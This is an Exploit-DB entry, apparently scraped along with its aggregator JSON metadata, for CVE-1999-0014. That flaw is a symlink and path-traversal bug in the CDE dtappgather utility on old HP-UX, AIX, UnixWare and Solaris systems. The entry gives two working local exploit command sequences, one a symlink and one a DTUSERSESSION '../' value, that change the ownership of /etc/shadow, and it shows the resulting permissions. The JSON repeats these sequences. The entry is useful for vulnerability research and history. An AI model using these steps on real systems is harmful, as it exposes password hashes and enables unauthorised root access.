HP HP-UX 10.20/11.0,IBM AIX <= 4.3 & SCO Unixware 7.0 & Sun Solaris <= 2.6
1999-11-03T00:00:00
ID EDB-ID:19108 Type exploitdb Reporter Mastoras Modified 1999-11-03T00:00:00
Description
HP HP-UX 10.20/11.0,IBM AIX 4.3,SCO Unixware 7.0,Sun Solaris 2.6. CVE-1999-0014. Local exploit for unix platform
source: http://www.securityfocus.com/bid/131/info
Due to improper checking of ownership, the dtappgather utility shipped with the Common Desktop Environment allows arbitrary users to overwrite any file present on the filesystem, regardless of the owner of the file.
dtappgather uses a directory of permissions 0777 to create temporary files used by each login session. /var/dt/appconfig/appmanager/generic-display-0 is not checked for existence prior to the opening of the file by dtappgather, and as such, if a user were to create a symbolic link from this file to another on the filesystem, the permissions of this file would be changed to 0666.
An additional bug exists whereby dtappgather blindly uses the contents of the DTUSERSESSION environment variable. By setting this variable to point to a file on the filesystem, its permissions can also be changed. As this command takes place relative to the /var/dt/appconfig directory, a series of '..' are required to establish the root directory, after which any file can be altered.
% ls -l /etc/shadow
-r--r--r-- 1 root other 1500 Dec 29 18:21 /etc/shadow
% ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0
% dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists
% ls -l /etc/shadow
-r-xr-xr-x 1 user users 1500 Dec 29 18:21 /etc/shadow
---------------------------------------------
$ id
uid=6969(foo) gid=666(bar)
$ ls -l /etc/shadow
-r-------- 1 root sys 234 Nov 7 1999 /etc/shadow
$ env DTUSERSESSION=../../../../../../../etc/shadow dtappgather
$ ls -l /etc/shadow
-r-xr-xr-x 1 foo bar 234 Nov 7 1999 /etc/shadow
{"bulletinFamily": "exploit", "id": "EDB-ID:19108", "cvelist": ["CVE-1999-0014"], "modified": "1999-11-03T00:00:00", "lastseen": "2016-02-02T11:06:07", "edition": 1, "sourceData": "source: http://www.securityfocus.com/bid/131/info\r\n\r\nDue to improper checking of ownership, the dtappgather utility shipped with the Common Desktop Environment allows arbitrary users to overwrite any file present on the filesystem, regardless of the owner of the file. \r\n\r\ndtappgather uses a directory of permissions 0777 to create temporary files used by each login session. /var/dt/appconfig/appmanager/generic-display-0 is not checked for existence prior to the opening of the file by dtappgather, and as such, if a user were to create a symbolic link from this file to another on the filesystem, the permissions of this file would be changed to 0666.\r\n\r\nAn additional bug exists whereby dtappgather blindly uses the contents of the DTUSERSESSION environment variable. By setting this variable to point to a file on the filesystem, its permissions can also be changed. As this command takes place relative to the /var/dt/appconfig directory, a series of '..' are required to establish the root directory, after which any file can be altered.\r\n\r\n% ls -l /etc/shadow\r\n-r--r--r-- 1 root other 1500 Dec 29 18:21 /etc/shadow\r\n% ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0\r\n% dtappgather\r\nMakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists\r\n% ls -l /etc/shadow\r\n-r-xr-xr-x 1 user users 1500 Dec 29 18:21 /etc/shadow\r\n---------------------------------------------\r\n$ id\r\nuid=6969(foo) gid=666(bar)\r\n$ ls -l /etc/shadow\r\n-r-------- 1 root sys 234 Nov 7 1999 /etc/shadow\r\n$ env DTUSERSESSION=../../../../../../../etc/shadow dtappgather\r\n$ ls -l /etc/shadow\r\n-r-xr-xr-x 1 foo bar 234 Nov 7 1999 /etc/shadow", "published": "1999-11-03T00:00:00", "href": "https://www.exploit-db.com/exploits/19108/", "osvdbidlist": ["11648"], "reporter": "Mastoras", "hash": "870062c3c73944fb4781b261dbffc4309d5cc1176f628cd97cbbcd5cbaca5ef2", "title": "HP HP-UX 10.20/11.0,IBM AIX <= 4.3 & SCO Unixware 7.0 & Sun Solaris <= 2.6", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "HP HP-UX 10.20/11.0,IBM AIX 4.3,SCO Unixware 7.0,Sun Solaris 2.6. CVE-1999-0014. Local exploit for unix platform", "references": [], "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/19108/", "viewCount": 1, "enchantments": {"vulnersScore": 2.1}}
{"result": {"cve": [{"id": "CVE-1999-0014", "type": "cve", "title": "CVE-1999-0014", "description": "Unauthorized privileged access or denial of service via dtappgather program in CDE.", "published": "1998-01-21T00:00:00", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0014", "cvelist": ["CVE-1999-0014"], "lastseen": "2017-10-12T18:05:30"}], "osvdb": [{"id": "OSVDB:11648", "type": "osvdb", "title": "CDE dtappgather Symlink Privilege Escalation", "description": "# No description provided by the source\n\n## References:\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/1998_1/0252.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/1998_1/0129.html\nISS X-Force ID: 1783\n[CVE-1999-0014](https://vulners.com/cve/CVE-1999-0014)\nCIAC Advisory: i-027b\nCIAC Advisory: i-028\nCERT: CA-1998-02\nBugtraq ID: 131\n", "published": "1998-01-21T00:00:00", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/osvdb/OSVDB:11648", "cvelist": ["CVE-1999-0014"], "lastseen": "2017-04-28T13:20:07"}]}}